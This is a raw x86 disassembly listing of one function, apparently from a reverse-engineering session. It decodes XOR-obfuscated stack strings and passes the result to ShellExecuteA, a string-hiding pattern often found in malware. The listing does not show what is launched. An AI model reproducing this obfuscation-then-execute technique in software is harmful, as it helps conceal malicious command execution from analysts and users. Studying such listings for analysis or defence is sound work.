mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x3a0]
mov dword [ebp - 0x608], eax
lea eax, [ebp - 0x678]
mov dword [ebp - 0x604], ecx
lea ecx, [ebp - 0x7e0]
vpxor ymm0, ymm0, ymmword [ebp - 0x620]
vmovdqa ymmword [ebp - 0x3a0], ymm0
push eax
vzeroupper
call fcn.004b5410
add esp, 4
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2f0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x7c8]
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push dword [ebp - 0x78]
cmovae ecx, dword [ebp - 0x88]
push ecx
mov ecx, eax
call fcn.004b34b0
mov esi, dword [ebp - 0x2c]
lea edx, [ebp - 0x550]
mov dword [ebp - 0x540], 0
lea ecx, [ebp - 0x7b0]
mov dword [ebp - 0x53c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x550], xmm0
or esi, 0x400
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x550], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x540], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x200]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
push dword [ebp - 0x90]
cmovae ecx, dword [ebp - 0xa0]
push ecx
mov ecx, eax
call fcn.004b34b0
mov dword [ebp - 0x1c8], 0
lea edx, [ebp - 0x1d8]
mov dword [ebp - 0x1c4], 0
lea ecx, [ebp - 0x6c0]
xorps xmm0, xmm0
or esi, 0x800
movups xmmword [ebp - 0x1d8], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1d8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x3c0]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x32
and esi, 0xfffff7ff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x1c4]
cmp ecx, 0x10
jb 0x42e8c9
mov edx, dword [ebp - 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e8bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb2b
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x7b0]
call fcn.0040fe60
and esi, 0xfffffbff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x550]
call fcn.0040fe60
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x7c8]
call fcn.0040fe60
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x7e0]
call fcn.0040fe60
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x678]
call fcn.0040fe60
cmp dword [ebp - 0x6ac], 0x10
lea ecx, [ebp - 0x6c0]
cmovae ecx, dword [ebp - 0x6c0]
call fcn.0042c1f0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x6c0]
call fcn.0040fe60
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x6d8]
call fcn.0040fe60
sub esp, 0x18
lea eax, [ebp - 0x88]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004b0ec0
mov byte [ebp - 4], 0x39
mov byte [ebp - 4], 0x1d
call fcn.0041a170
add esp, 0x18
test al, al
je 0x42ea58
cmp dword [ebp - 0x74], 0x10
lea edx, [ebp - 0x88]
push 1
cmovae edx, dword [ebp - 0x88]
mov dword [ebp - 0x28], 0x3b218c60
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
push 0
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x28], 0xaf4b4030
push 0
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3cc], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x210]
mov dword [ebp - 0x3c8], eax
lea eax, [ebp - 0x210]
push edx
mov dword [ebp - 0x3c4], ecx
pxor xmm1, xmmword [ebp - 0x3d0]
push eax
push 0
movaps xmmword [ebp - 0x210], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x88]
call fcn.0040fe60
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x42ea9f
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ea95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb30
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1f0]
call fcn.0040fe60
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa0]
call fcn.0040fe60
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xe8]
call fcn.0040fe60
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x100]
call fcn.0040fe60
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040f7b0
call fcn.005289b0
call fcn.005289b0
call fcn.0040f7b0
call fcn.005289b0
call fcn.005289b0
call fcn.0040f7b0
call fcn.005289b0
call fcn.005289b0
call fcn.005289b0
int3